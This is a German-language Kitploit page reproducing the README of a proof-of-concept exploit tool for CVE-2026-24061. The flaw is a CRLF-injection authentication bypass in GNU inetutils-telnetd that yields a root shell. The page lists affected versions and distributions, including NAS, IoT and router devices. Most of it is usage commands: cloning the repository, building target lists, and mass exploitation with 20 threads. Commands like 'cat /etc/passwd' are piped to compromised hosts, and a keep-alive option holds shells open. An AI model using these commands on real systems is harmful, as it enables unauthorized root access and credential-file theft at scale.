CVE-2026-24061-PoC-Exploit — Remote-Authentifizierungs-Bypass-Exploit für GNU inetutils-telnetd (CVE-2026-24061) mittels CRLF-Injection, um eine sofortige Root-Shell zu erlangen. Unterstützt Einzel-/Massen-Exploitation, Multi-Threading, benutzerdefinierte Ports, Pipe-Modus und Sitzungs-Keep-Alive. | Kitploit

Kategorie	Funktionen
Ausnutzung	✅ Authentifizierungs-Bypass per CRLF-Injection ✅ Sofortige Root-Shell ✅ Benutzerdefinierte Benutzer-Injection (-f admin, -f user)
Scannen	✅ Exploitation einzelner Ziele ✅ Massen-Exploitation aus Datei ✅ Multithreading (konfigurierbare Threads) ✅ Unterstützung benutzerdefinierter Ports
Erweitert	✅ Pipe-Modus (Befehlsausführung über stdin) ✅ Sitzungs-Keep-Alive ✅ Wiederholungsmechanismus ✅ Timeout-Steuerung
Benutzerfreundlichkeit	✅ Farbige Ausgabe (colorama) ✅ Zweisprachig (Python & Bash) ✅ Ausführlicher/Debug-Modus

Produkt	Versionen
GNU inetutils-telnetd	1.9.3 - 2.7
Betroffene Linux-Distributionen	Debian, CentOS, Ubuntu und deren Distributionen. (Zorin OS, Linux Mint, Pop!_OS und Elementary OS)
Eingebettete Geräte	NAS, IoT, Router

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit
cd CVE-2026-24061-PoC-Exploit

# Python version
pip3 install -r requirements.txt

# Bash version
chmod +x exploit.sh
chmod +x basic_exploit.sh

# Create targets file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "10.0.0.5:2323" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt -m 20

# Bash version
./exploit.sh -l targets.txt -m 20

# Execute commands via pipe
echo "id; whoami; uname -a" | python3 exploit.py -u 192.168.1.100

# Multiple commands
echo "ls -la; cat /etc/passwd; ps aux" | ./exploit.sh -u 192.168.1.100

# Verbose mode with debug output
python3 exploit.py -u 192.168.1.100 -v

# Custom timeout and retries
python3 exploit.py -u 192.168.1.100 --timeout 10 --retries 5

# Session keep-alive (maintain shell)
python3 exploit.py -u 192.168.1.100 --keep-alive

Kurz	Lang	Beschreibung	Standard
`-u`	`--url`	IP-Adresse des Ziels	Erforderlich
`-p`	`--port`	Zielport	23
`-l`	`--list`	Datei mit Zielliste	Keine
`-m`	`--max-threads`	Maximale Threads für Massen-Exploitation	10
`-usr`	`--username`	Zu injizierender Benutzername	root
`-t`	`--timeout`	Socket-Timeout (Sekunden)	10
`-r`	`--retries`	Anzahl der Wiederholungsversuche	3
`-v`	`--verbose`	Debug-Ausgabe aktivieren	False
`--keep-alive`		Sitzung nach der Exploitation aktiv halten	False

CVE-2026-24061-PoC-Exploit

Beliebteste

🔥 Hauptfunktionen

🎯 Verwundbare Versionen

📦 Installation

🛠️ Verwendungsbeispiele

🎯 Exploitation eines einzelnen Ziels

🔧 Benutzerdefinierter Port und Benutzer

📊 Massen-Exploitation (mehrere Ziele)

📡 Pipe-Modus (Befehlsausführung)

⚙️ Erweiterte Optionen

📊 Kommandozeilenargumente

🔗 Verwandte Exploits